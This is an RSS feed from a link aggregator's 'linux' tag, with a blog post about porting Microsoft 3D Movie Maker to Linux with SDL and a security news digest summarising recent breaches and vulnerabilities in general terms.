<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss.xsl" media="all"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title>Roastidio.us Tagged with linux</title>
<link>https://roastidio.us/tag/2428</link>
<atom:link href="https://roastidio.us/tagged_with/linux" rel="self" type="application/rss+xml"></atom:link>
<description>Roastidio.us Tagged with linux</description>
<item>
<title>New Linux Kernel Vulnerability Fragnesia Allows Root Privilege Escalation</title>
<link>https://www.securityweek.com/new-linux-kernel-vulnerability-fragnesia-allows-root-privilege-escalation/</link>
<guid isPermaLink="false">b_n5P1FJYrwM8WPVPPMukqSXb-Gs89aLJLCfHg==</guid>
<pubDate>Fri, 15 May 2026 11:41:30 +0000</pubDate>
<description>The vulnerability, tracked as CVE-2026-46300, is similar to the recently disclosed exploits named Dirty Frag and Copy Fail. The post New Linux Kernel Vulnerability Fragnesia Allows Root Privilege Escalation appeared first on SecurityWeek.</description>
<content:encoded>&lt;p&gt;The vulnerability, tracked as CVE-2026-46300, is similar to the recently disclosed exploits named Dirty Frag and Copy Fail.&lt;/p&gt;&lt;p&gt;The post &lt;a href=&quot;https://www.securityweek.com/new-linux-kernel-vulnerability-fragnesia-allows-root-privilege-escalation/&quot;&gt;New Linux Kernel Vulnerability Fragnesia Allows Root Privilege Escalation&lt;/a&gt; appeared first on &lt;a href=&quot;https://www.securityweek.com&quot;&gt;SecurityWeek&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>linux 0-day, access root-owned files as an unprivileged user</title>
<link>https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn/</link>
<guid isPermaLink="false">hUVegyTtXcXIBRxWVyZMVCt0sJnh6WaSQSVDfw==</guid>
<pubDate>Fri, 15 May 2026 04:34:22 +0000</pubDate>
<description>Comments</description>
<content:encoded>&lt;p&gt;&lt;a href=&quot;https://lobste.rs/s/wskhre/linux_0_day_access_root_owned_files_as&quot;&gt;Comments&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Porting 3D Movie Maker to Linux - Ben Stone Online</title>
<link>https://benstoneonline.com/posts/porting-3d-movie-maker-to-linux/</link>
<enclosure type="image/jpeg" length="0" url="https://benstoneonline.com/images/3dmm-linux-card.png"></enclosure>
<guid isPermaLink="false">xJ-GX2nmseYTIb7nd1DeE4btnhmqK04Ys50IYQ==</guid>
<pubDate>Fri, 15 May 2026 04:34:22 +0000</pubDate>
<description>McZee meets a penguin!</description>
<content:encoded>&lt;h1&gt;Porting 3D Movie Maker to Linux&lt;/h1&gt;&lt;hr/&gt;&lt;ul&gt;&lt;li&gt;&lt;time&gt;May 9, 2026&lt;/time&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://benstoneonline.com/categories/blog/&quot;&gt;blog
&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://benstoneonline.com/tags/software-development/&quot;&gt;Software Development
&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Did you know you can now run Microsoft 3D Movie Maker natively on Linux? Over the last 18 months, I have been working on &lt;a href=&quot;https://github.com/benstone/3DMMEx&quot;&gt;3DMMEx&lt;/a&gt;, my source port of 3D Movie Maker. One of the goals of my fork is portability. The project recently reached a significant milestone: we can now compile and run on Linux, making 3DMMEx the first known fork of 3D Movie Maker to run outside of Windows! In this post I will explore some of the challenges encountered while porting a 30-year-old multimedia application to a new platform.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://benstoneonline.com/images/3dmm-linux-giant-rat.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;&lt;h4&gt;Now you can make fun animated movies on Linux!&lt;/h4&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;h2&gt;Background&lt;/h2&gt;&lt;p&gt;Back in 2020, I wrote a &lt;a href=&quot;https://benstoneonline.com/posts/reverse-engineering-3d-movie-maker-part-one/&quot;&gt;blog series about reverse engineering Microsoft 3D Movie Maker&lt;/a&gt;. Since then, there has been a major development: in May 2022, Microsoft published the &lt;a href=&quot;https://github.com/microsoft/Microsoft-3D-Movie-Maker&quot;&gt;full source code for the application&lt;/a&gt;. This was quite unexpected - I never thought I would ever get to see the original source code, and was skeptical that it even still existed in Microsoft’s archives, but now it’s up on GitHub… and with a permissive MIT license to boot!&lt;/p&gt;&lt;p&gt;Before we go too much further I have to say a huge thank you to &lt;a href=&quot;https://digipres.club/@foone&quot;&gt;Alice Averlong (née Foone Turing)&lt;/a&gt; for her relentless pursuit of the 3DMM source code, and to &lt;a href=&quot;https://twitter.com/shanselman&quot;&gt;Scott Hanselman&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/jeffwilcox&quot;&gt;Jeff Wilcox&lt;/a&gt; and the rest of the team at Microsoft who made this release happen. If you’re interested in the story of how the source code was released, check out the &lt;a href=&quot;https://hanselminutes.com/844/3d-movie-maker-forever-with-foone-turing&quot;&gt;Hanselminutes podcast about the release&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The repository includes the source code for the 3DMM application (codenamed “Socrates”), the “Kauai” application framework used by 3DMM and Creative Writer 2, development/authoring tools (including the compiler for the scripting language that I &lt;a href=&quot;https://benstoneonline.com/posts/reverse-engineering-3d-movie-maker-part-three/&quot;&gt;previously reverse engineered&lt;/a&gt;), some documentation and pre-rendered assets. The release is complete enough that you can compile your own build of &lt;code&gt;3DMOVIE.EXE&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;When the release came out, I spent some time digging through the repo and wrote some &lt;a href=&quot;https://github.com/benstone/3dmm-source-notes&quot;&gt;notes about the source code&lt;/a&gt; including how to build it with the original development tools. Something I immediately noticed was how well engineered the codebase was: the code style is consistent, code is well commented, and there are assert checks everywhere. Back in 1995, developers didn’t have the luxury of being able to push out updates to fix bugs, so they had to make sure the code was really good before release. The 3DMM codebase is a lot cleaner than some other mid-90s game source code releases I have seen.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://benstoneonline.com/images/3dmm-vscode.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;&lt;h4&gt;Visual Studio Code showing the 3D Movie Maker source code&lt;/h4&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;One of the first things I thought of doing when the source code was released was trying to port it to a new platform. I didn’t want to make my own fork (that’s a lot of work!), so I joined the &lt;a href=&quot;https://github.com/foone/3dmmforever&quot;&gt;3DMMForever&lt;/a&gt; project which started up shortly after the release to modernise 3DMM. We replaced the old makefiles with CMake and solved a bunch of issues to get 3DMM compiling with a modern compiler, Visual Studio 2022. These were good first steps towards a portable 3DMM.&lt;/p&gt;&lt;p&gt;Unfortunately, the project stalled not long after that… so in late 2024 I forked 3DMMForever to create &lt;a href=&quot;https://github.com/benstone/3DMMEx&quot;&gt;3DMMEx&lt;/a&gt;. My original plan was to fix a few small issues in 3DMMForever and do some initial exploration of what was needed to port 3DMM to other platforms. There were a few major issues that made porting difficult:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The code used a pre-standardised C++ dialect that only compiled with Microsoft Visual C++.&lt;/li&gt;&lt;li&gt;The Kauai application framework is “cross-platform”, in that it supports exactly two platforms: Windows and Macintosh 68K. Macintosh support is very incomplete though.&lt;/li&gt;&lt;li&gt;The 3DMM application is built on top of Kauai’s cross-platform abstractions, but sometimes breaks through the abstractions and calls directly into Win32 APIs.&lt;/li&gt;&lt;li&gt;The framework has some inline x86 assembly language in performance-sensitive functions.&lt;/li&gt;&lt;li&gt;The project makes assumptions about pointer sizes that cause compile errors on 64-bit systems.&lt;/li&gt;&lt;li&gt;The framework has a lot of functionality that isn’t used by 3DMM but is required for the authoring tools.&lt;/li&gt;&lt;li&gt;Some external dependencies are linked into the build as pre-compiled static libraries.&lt;/li&gt;&lt;li&gt;There are no tests for most of the code, which makes it difficult to catch regressions. The 3DMM developers &lt;a href=&quot;https://3dmm.com/showthread.php?t=43377&quot;&gt;used automated tests during development&lt;/a&gt; and even left some &lt;a href=&quot;https://github.com/microsoft/Microsoft-3D-Movie-Maker/blob/main/kauai/SRC/APPBWIN.CPP#L483&quot;&gt;automated test hooks&lt;/a&gt; behind, but the tests were not part of the open-source release.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you were to take the source code as-is and try to compile it on another platform, you would be forced to confront all of these issues at the same time. So, I decided to try and tackle some of the problems in isolation while maintaining the original Windows x86 build. My thought was if I solved some of these problems, maybe my work could be useful for someone else who wanted to port it to another platform.&lt;/p&gt;&lt;p&gt;Sure enough, shortly after I started my fork I received an email from an awesome software developer named &lt;a href=&quot;https://www.ilande.co.uk&quot;&gt;Mark Cave-Ayland&lt;/a&gt;. Mark was interested in porting 3DMM to Linux so he could get it running on a Raspberry Pi for his children to use. I thought that was pretty cool! We worked together over the last year to get 3DMM working on Linux, with Mark focusing on Linux porting while I focused on SDL porting on Windows.&lt;/p&gt;&lt;h2&gt;Static libraries&lt;/h2&gt;&lt;p&gt;The 3DMM project has two external dependencies that are packaged as static libraries: BRender and AudioMan. BRender is a 3D rendering engine developed by &lt;a href=&quot;https://en.wikipedia.org/wiki/Argonaut_Games&quot;&gt;Argonaut Technologies&lt;/a&gt;. The &lt;a href=&quot;https://github.com/foone/BRender-v1.3.2&quot;&gt;source code for BRender&lt;/a&gt; was published around the same time as 3DMM, after Alice Averlong obtained approval from Jez San, the former CEO of Argonaut Technologies. BRender can be built from source, but it contains a significant amount of hand-rolled x86 assembly language code. One of the 3DMMForever contributors &lt;a href=&quot;https://github.com/prettytofugirl&quot;&gt;@prettytofugirl&lt;/a&gt; did some great work on &lt;a href=&quot;https://github.com/prettytofugirl/3DMM-BRender&quot;&gt;replacing all of the x86 assembly with portable C code&lt;/a&gt;, which I am now using in 3DMMEx.&lt;/p&gt;&lt;p&gt;AudioMan is a sound mixer library used in a number of mid-90s Microsoft multimedia products. AudioMan is used in 3DMM not just for playing sounds, but for converting imported and recorded sounds too. The static library wasn’t going to work when compiling for anything other than Windows x86 with Visual Studio. So, I decided to start my own mini decompilation project! Over the course of a couple of weekends, I used &lt;a href=&quot;https://github.com/nationalsecurityagency/ghidra&quot;&gt;Ghidra&lt;/a&gt; to reverse engineer the &lt;code&gt;AUDIOD.LIB&lt;/code&gt; static library and &lt;a href=&quot;https://github.com/benstone/audioman-decomp&quot;&gt;decompile it to C++&lt;/a&gt;. Full decompilation is usually pretty difficult, but in this case I had a debug build of the library with full symbol information. I also didn’t need the entire library for 3DMM to work properly, so only the critical components were decompiled. This was quite a fun tangent, and I should probably write a blog about it.&lt;/p&gt;&lt;p&gt;Decompiling AudioMan was an important part of building Windows x64 and ARM64 versions of 3DMMEx. However, it turned out to be tightly coupled to Windows sound APIs and COM interfaces so it would have been difficult to make it work on non-Windows platforms. Instead, I added a new wave sound playback module using &lt;a href=&quot;https://miniaud.io/&quot;&gt;miniaudio&lt;/a&gt; for non-Windows platforms. Integrating miniaudio also solved the problem of cross-platform audio input required by the in-app sound recording features.&lt;/p&gt;&lt;h2&gt;Removing assembly language&lt;/h2&gt;&lt;p&gt;Some functions in Kauai contain hand-optimised assembly language. This is used in functions that are performance-sensitive, such as copying memory, bitmap image manipulation and data compression. Compile-time &lt;code&gt;#defines&lt;/code&gt; are used to switch between C++ and assembly language implementations. Some functions have optimised versions for both Intel x86 for Windows and Motorola 68020 for the Macintosh.&lt;/p&gt;&lt;p&gt;The original codebase also includes a &lt;a href=&quot;https://github.com/benstone/3DMMEx/blob/main/kauai/src/kcd2_386.c&quot;&gt;code generator&lt;/a&gt; that produces x86 assembly language versions of the two custom compression algorithms used in Kauai. When I first started reverse engineering 3D Movie Maker, I remember finding the KCD2 decompression function in IDA and being a bit horrified by how complex it looked. I thought, “this could not have been written by a human”. It turns out I was right!&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://benstoneonline.com/images/3dmm-ida-decodekcd2-control-flow-graph.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;&lt;h4&gt;IDA control flow graph of the KCD2 decompression function&lt;/h4&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Switching to the C++ versions was pretty easy as I just had to remove a &lt;code&gt;#define&lt;/code&gt;, but it did surface a few bugs in the corresponding C++ implementations. Removing the assembly versions also led to some minor performance improvements, as the app was now able to take advantage of the C runtime’s memcpy/memmove implementations that are optimised for modern processors.&lt;/p&gt;&lt;h2&gt;Boring engineering stuff&lt;/h2&gt;&lt;p&gt;Porting 3DMM to new platforms requires making lots of changes that are pretty likely to break existing code. Before making major changes, I decided to spend some time improving the debugging and testing experience. This would hopefully help to catch regressions as I made changes. These changes included:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The Kauai framework had a small number of unit tests. I ported these tests to Google Test and integrated them into the build.&lt;/li&gt;&lt;li&gt;Kauai uses custom data types that are hard to read in the Visual Studio debugger. I wrote some &lt;a href=&quot;https://learn.microsoft.com/en-us/visualstudio/debugger/create-custom-views-of-native-objects?view=visualstudio&quot;&gt;NatVis visualisers&lt;/a&gt; to give Visual Studio hints for how to render certain types. For example, the string class (STN) now shows the value of the string instead of a pointer to a buffer.&lt;/li&gt;&lt;li&gt;I wanted to avoid making any changes that could break file format compatibility, to ensure that you can still load and save your movie files from 30 years ago. So, I added static asserts around file format structures to ensure that they would not change in size when compiling for other platforms. These asserts helped to identify issues when porting 3DMM to 64-bit systems.&lt;/li&gt;&lt;li&gt;Debugging 3DMM’s UI is challenging because most of the logic occurs inside scripts. I added extra logging to show the current executing script to make it easier to follow UI logic as it executes.&lt;/li&gt;&lt;li&gt;There were a lot of minor refactors to add seams between components so I could add new implementations for SDL/cross-platform builds without removing the original working Win32 implementations.&lt;/li&gt;&lt;/ul&gt;&lt;figure&gt;&lt;img src=&quot;https://benstoneonline.com/images/3dmm-visual-studio-natvis.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;&lt;h4&gt;Visual Studio debugger displaying custom string objects with and without the NatVis visualisers&lt;/h4&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;I also decided to keep the &lt;a href=&quot;https://idleloop.com/hungarian/&quot;&gt;Apps Hungarian&lt;/a&gt; code style used by the original developers in the 1990s. It might be a bit odd to do that in 2026, but I wanted to keep new code consistent with the original code. It takes some time to get used to it, but after a while of working on the code base you won’t think twice about variable names like &lt;code&gt;mpgrfchpsz&lt;/code&gt;! 😄&lt;/p&gt;&lt;h2&gt;Replacing Win32 with SDL&lt;/h2&gt;&lt;p&gt;Kauai’s GUI library is written to use the Win32 APIs on Windows, and the Macintosh Toolbox on System 7. I replaced the Win32 GUI implementation with &lt;a href=&quot;https://www.libsdl.org&quot;&gt;SDL&lt;/a&gt;, a popular open-source library for cross-platform multimedia applications.&lt;/p&gt;&lt;p&gt;To make SDL testing easier, I started by writing a small “hello world” Kauai application that tested event dispatch and basic rendering. This avoided having to have the entire application working correctly in order to test the framework changes. I used the test app to get window creation and basic input handling working, then started working on rendering.&lt;/p&gt;&lt;p&gt;Most of the SDL backend was fairly straightforward: Kauai already had pretty good abstractions around GUI features. For example, all of the graphics are handled in the GNV (Graphics Environment) and GPT (Graphics Port) classes. These classes have methods like DrawRcs for drawing a rectangle, or DrawRgch for rendering text. All I had to do was replace the Win32 GDI rendering code with SDL equivalents.&lt;/p&gt;&lt;p&gt;This was a bit of a challenge at times because some operations that were a single line of code in Win32 would have to be replaced with hundreds of lines of new code for SDL. Font management is a good example. Many 90s multimedia applications use only a fixed set of fonts that are packaged alongside the application’s assets. 3DMM, however, wants to be able to discover and use any TrueType font available on your system. In the Win32 API, enumerating fonts is a simple call to &lt;code&gt;EnumFonts&lt;/code&gt; which gives you a callback on each new font. From there you can call &lt;code&gt;CreateFontIndirect&lt;/code&gt; to get a font handle for rendering text. SDL does not have any way of enumerating fonts, so this must be implemented per platform.&lt;/p&gt;&lt;p&gt;Another example is keyboard shortcut handling. Win32 has Accelerator Tables which provide a mapping between virtual keycodes and WM_COMMAND messages. Accelerator tables are typically stored in the resource section of your executable. When your application starts, you call &lt;code&gt;LoadAccelerators&lt;/code&gt; to load the table, and then call &lt;code&gt;TranslateAccelerator&lt;/code&gt; in your event loop to translate keypress commands to WM_COMMANDs. All of the actual work of managing the table is handled for you by Windows. To get keyboard shortcuts to work on SDL builds I had to reimplement the accelerator table system. An upside of this reimplementation is it makes it a lot easier to support custom keybindings. I’m planning to add support for that in a future release.&lt;/p&gt;&lt;p&gt;One thing that caught me out a bit late was that strings in SDL are expected to be UTF-8 encoded. 3DMM defaults to the system’s default code page for strings (CP1252 on an English language system). This made the rendered text look almost correct until I found a part of the UI that had an em-dash rendered as a box instead. So, I added extra methods to convert to/from UTF-8. 3DMM also supports Unicode using UCS-2 but it is very broken in the original source release, and wasn’t completed until the Japanese release in 1996. In the future I’d like to change all of the string handling to be UTF-8 internally but that requires some fundamental changes to how movies are serialised.&lt;/p&gt;&lt;h2&gt;Drawing the rest of the &lt;del&gt;owl&lt;/del&gt; penguin&lt;/h2&gt;&lt;p&gt;With all the inline assembly language removed and the SDL backend working, 3DMMEx was approaching a point where it might be possible to run it natively on another platform. This is where Mark did a huge amount of work to solve many problems, ranging from dealing with case-sensitive filenames and errant backslashes to writing new modules for POSIX platform support and integrating FluidSynth for MIDI playback and GStreamer for playing cutscenes. A few months later, Mark had 3DMMEx booting up on Linux! Check out &lt;a href=&quot;https://www.ilande.co.uk/2026/04/06/porting-3dmm-to-linux-part1.html&quot;&gt;Mark’s blog series on porting 3DMM to Linux&lt;/a&gt; which has a great writeup of some of the other technical challenges we encountered.&lt;/p&gt;&lt;p&gt;A huge thanks to Mark for not just his great work on Linux porting, but also keeping me motivated to continue working on 3DMMEx. Porting software to another platform can be a bit of a slog, but working with an experienced and motivated developer like Mark made it a lot easier and more enjoyable!&lt;/p&gt;&lt;p&gt;If you’re interested in trying out 3DMMEx, check out the &lt;a href=&quot;https://github.com/benstone/3DMMEx&quot;&gt;project on GitHub&lt;/a&gt;. Windows binaries for x86, x64 and ARM64 are available on the &lt;a href=&quot;https://github.com/benstone/3DMMEx/releases&quot;&gt;Releases page&lt;/a&gt;. To run on Linux you will need to build it from source, but I’m planning to create binary releases for some popular Linux distros.&lt;/p&gt;&lt;p&gt;While all of the features of 3DMMEx are working in the SDL/Linux port, there are still some improvements to be made. The biggest issue at the moment is mouse handling when dragging actors around the stage, with some input devices being completely unusable. It would also be great to see it ported to some more platforms like macOS and maybe even Emscripten for running in a browser. If you are interested in helping with any of these, check out the &lt;a href=&quot;https://github.com/benstone/3DMMEx/issues&quot;&gt;GitHub issues&lt;/a&gt; or &lt;a href=&quot;https://github.com/benstone/3DMMEx/discussions&quot;&gt;discussions&lt;/a&gt; pages.&lt;/p&gt;&lt;p&gt;Finally, here’s a video of 3DMMEx compiling and running on Linux!&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Information Security News – 5/4/2026 - Project Hyphae</title>
<link>https://projecthyphae.com/threat/information-security-news-5-4-2026/</link>
<enclosure type="image/jpeg" length="0" url="https://projecthyphae.com/wp-content/uploads/2021/09/project-hyphae-og.jpg"></enclosure>
<guid isPermaLink="false">dhpldRogF1JFyKvo6RfWwPP7TBbpMa8FeBAArQ==</guid>
<pubDate>Fri, 15 May 2026 01:22:16 +0000</pubDate>
<description>Article Link: https://cyberpress.org/fake-invites-target-firms/</description>
<content:encoded>&lt;h2&gt;Phishing Campaign Abuses Event Invitations to Target U.S. Firms &lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://cyberpress.org/fake-invites-target-firms/&quot;&gt;https://cyberpress.org/fake-invites-target-firms/&lt;/a&gt; &lt;/p&gt;&lt;ul&gt;
&lt;li&gt;A large-scale phishing campaign is impersonating corporate event invitations to target organizations in critical U.S. sectors like banking, government, healthcare, and tech.&lt;/li&gt;



&lt;li&gt;Victims receive fake event links that use CAPTCHA pages and AI generated registration sites. The attack then takes two paths, one of which is used for credential theft, including real-time theft of multi-factor authentication (MFA) codes.&lt;/li&gt;



&lt;li&gt;The other path silently installs remote monitoring and management (RMM) tools on the victim’s device to allow for remote access. The use of CAPTCHA and legitimate RMM tools makes the attack harder to identify. &lt;/li&gt;



&lt;li&gt;Stealing credentials and MFA codes allows the attacker to fully compromise accounts. The RMM tools give the attacker persistent access into the system, allowing for long-term access to steal data and move laterally in the environment. &lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;PyPI Package With 1.1M Monthly Downloads Hacked to Push Infostealer &lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/pypi-package-with-11m-monthly-downloads-hacked-to-push-infostealer/&quot;&gt;https://www.bleepingcomputer.com/news/security/pypi-package-with-11m-monthly-downloads-hacked-to-push-infostealer/&lt;/a&gt; &lt;/p&gt;&lt;ul&gt;
&lt;li&gt;A malicious version of the elementary data package was published in the official PyPI public repository that allowed malicious actors to steal SSH keys, cloud credentials, CI/CD secrets, and other sensitive data.  &lt;/li&gt;



&lt;li&gt;The attacker exploits a GitHubs Action injection flaw to execute malicious code, leak a GITHUB_TOKEN, and push a trusted release through the affected project’s pipeline.  &lt;/li&gt;



&lt;li&gt;The release pipeline automatically published to PyPI and its registries causing users to unknowingly pull the compromised update.  &lt;/li&gt;



&lt;li&gt;A new version replaced the malicious one, however any systems with the malicious version must rotate secrets and restore systems to address the vulnerability.  &lt;/li&gt;



&lt;li&gt;Additional Information: &lt;a href=&quot;https://www.stepsecurity.io/blog/elementary-data-compromised-on-pypi-and-ghcr-forged-release-pushed-via-github-actions-script-injection&quot;&gt;https://www.stepsecurity.io/blog/elementary-data-compromised-on-pypi-and-ghcr-forged-release-pushed-via-github-actions-script-injection&lt;/a&gt;  &lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Backdoored WordPress Plugin Uses Remote Updates for Code Delivery&lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://cyberpress.org/backdoored-wordpress-plugin-uses-remote-update/&quot;&gt;https://cyberpress.org/backdoored-wordpress-plugin-uses-remote-update/&lt;/a&gt;  &lt;/p&gt;&lt;ul&gt;
&lt;li&gt;A backdoor was discovered in the widely used Quick Page/Post Redirect WordPress plugin resulting in versions having modified code that was not a part of an official release. &lt;/li&gt;



&lt;li&gt;The plugin contained two malicious parts, a hidden injection feature that added spam backlinks for site visitors and an update function that allowed attackers to push additional code disguised as updates.  &lt;/li&gt;



&lt;li&gt;The malicious activity was hidden from administrators and remained dormant when the attack server was offline, allowing them to maintain persistent access once the server was back online.             &lt;/li&gt;



&lt;li&gt;Attackers used the exploit to manipulate search rank, inject content on websites, and execute code to compromise the entire website.  &lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Critical GitHub Vulnerability Exposed Millions of Repositories&lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://www.securityweek.com/critical-github-vulnerability-exposed-millions-of-repositories/&quot;&gt;https://www.securityweek.com/critical-github-vulnerability-exposed-millions-of-repositories/&lt;/a&gt; &lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Wiz (a Google company) discovered a critical remote code execution vulnerability in GitHub that puts millions of repositories at risk across GitHub.com and Enterprise environments.  &lt;/li&gt;



&lt;li&gt;The vulnerability is the result of an injection flaw in an internal Git protocol, allowing any authenticated user to execute commands on backend servers without any specialized tools or privileges.  &lt;/li&gt;



&lt;li&gt;On GitHub Enterprise Server, attackers could compromise the server and access all repositories and secrets. On GitHub.com the vulnerability allows remote code execution on storage nodes, potentially exposing repositories belonging to other users and organizations.  &lt;/li&gt;



&lt;li&gt;Although authentication is required, the barrier to exploitation is low, any user with push access to a repository can exploit the flaw, creating significant risk to code integrity, intellectual property, and sensitive data. &lt;/li&gt;



&lt;li&gt;GitHub quickly released a patch for the vulnerability and found no evidence of exploitation. However, a significant number of Enterprise Server instances remain unpatched, leaving many organizations potentially vulnerable. &lt;/li&gt;



&lt;li&gt;Technical details: &lt;a href=&quot;https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854&quot;&gt;https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;‘Copy Fail’ Logic Flaw in Linux Kernel Enables System Takeover &lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html&quot;&gt;https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html&lt;/a&gt;  &lt;/p&gt;&lt;ul&gt;
&lt;li&gt;A Linux local privilege escalation vulnerability deemed “Copy Fail” has been identified that allows any authenticated user to obtain full root access on affected systems.  &lt;/li&gt;



&lt;li&gt;A flaw in the Linux kernel’s algif_aead cryptographic subsystem enables attackers misuse certain crypto-related features to inject their own data into protected system files. These files then give the attacker elevated privileges on the affected system. &lt;/li&gt;



&lt;li&gt;The exploit runs reliably and works across most major Linux distributions and containerized environments due to shared page cache behavior. It requires no special conditions beyond local user access. &lt;/li&gt;



&lt;li&gt;Vendors have started to release security advisories and patches to address the vulnerability. Organizations are strongly advised to patch immediately given the ease of exploitation and the potential for full system compromise. &lt;/li&gt;



&lt;li&gt;Additional information: &lt;a href=&quot;https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/&quot;&gt;https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/&lt;/a&gt; &lt;/li&gt;



&lt;li&gt;Technical details: &lt;a href=&quot;https://ostechnix.com/debian-13-trixie-copy-fail-cve-2026-31431-vulnerability-fix/&quot;&gt;https://ostechnix.com/debian-13-trixie-copy-fail-cve-2026-31431-vulnerability-fix/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Medtronic Hack Confirmed After ShinyHunters Threatens Data Leak &lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://www.securityweek.com/medtronic-hack-confirmed-after-shinyhunters-threatens-data-leak/&quot;&gt;https://www.securityweek.com/medtronic-hack-confirmed-after-shinyhunters-threatens-data-leak/&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Global medical technology company Medtronic confirmed a cyber-attack after the extortion group ShinyHunters claimed they stole millions of records from the organization.  &lt;/li&gt;



&lt;li&gt;The attackers claim to have breached Medtronic’s corporate IT network and exfiltrated data, they then demanded a ransom after threatening to publish the information.  &lt;/li&gt;



&lt;li&gt;The group then listed Medtronic on their leak website, claiming to have over 9 million records including personal information and internal corporate data.  &lt;/li&gt;



&lt;li&gt;Medtronic stated that its medical products, manufacturing capabilities, hospital systems, and patient safety systems were not affected by the breach due to network segmentation. They continue to investigate the breach to determine the scope of information that was accessed.  &lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;TeamPCP-linked VECT 2.0 Ransomware Unintentionally Destroys Files Larger Than 128 KB &lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://thehackernews.com/2026/04/new-wave-of-dprk-attacks-uses-ai.html&quot;&gt;https://thehackernews.com/2026/04/new-wave-of-dprk-attacks-uses-ai.html&lt;/a&gt; &lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Researchers at Check Point found that VECT 2.0 ransomware, which is offered as ransomware-as-a-service (RaaS), contains a flaw that destroys files larger than 128 KB during encryption, making recovery impossible, even for the attackers. &lt;/li&gt;



&lt;li&gt;A coding error in the encryption process overwrites essential decryption data when handling large files. Combined with poor implementation, this causes the ransomware to irreversibly corrupt data rather than properly encrypt it. &lt;/li&gt;



&lt;li&gt;Additional coding issues were identified, but this flaw is the most severe, as it can result in complete data loss even if a ransom is paid. &lt;/li&gt;



&lt;li&gt;The case highlights how rapidly emerging ransomware operations can appear polished while containing critical flaws. It also underscores the risk organizations take when paying ransoms, as data may be unrecoverable, even if the attackers intend to provide decryption.   &lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Hackers Earning Millions from Hijacked Cargo, FBI Says&lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://therecord.media/hackers-earning-millions-from-hijacked-cargo-fbi&quot;&gt;https://therecord.media/hackers-earning-millions-from-hijacked-cargo-fbi&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;The Federal Bureau of Investigation reports cargo theft reached nearly $725 million across the U.S. and Canada last year, driven by actors posing as brokers and carriers to reroute high-value shipments.&lt;/li&gt;



&lt;li&gt;Over the past two years, attackers gained access to broker and carrier systems, manipulated load boards, created fake listings, and used double-brokering to divert deliveries and collect goods.&lt;/li&gt;



&lt;li&gt;Losses rose 60% in 2025, with average theft values up 36%, affecting sectors from vaping products to auto dealers, where entire vehicle shipments have been diverted and taken.&lt;/li&gt;



&lt;li&gt;The FBI calls for stronger identity validation for brokers and carriers, deeper review of load (freight) board activity, and tracking of shipment changes to detect unauthorized rerouting.&lt;/li&gt;



&lt;li&gt;FBI PSA: &lt;a href=&quot;https://www.ic3.gov/PSA/2026/PSA260430&quot;&gt;https://www.ic3.gov/PSA/2026/PSA260430&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Microsoft to Roll Out Entra Passkeys on Windows in Late April &lt;/h2&gt;&lt;p&gt;Article Link: &lt;a href=&quot;https://www.bleepingcomputer.com/news/microsoft/microsoft-to-roll-out-entra-passkeys-on-windows-in-late-april/&quot;&gt;https://www.bleepingcomputer.com/news/microsoft/microsoft-to-roll-out-entra-passkeys-on-windows-in-late-april/&lt;/a&gt; &lt;/p&gt;&lt;ul&gt;
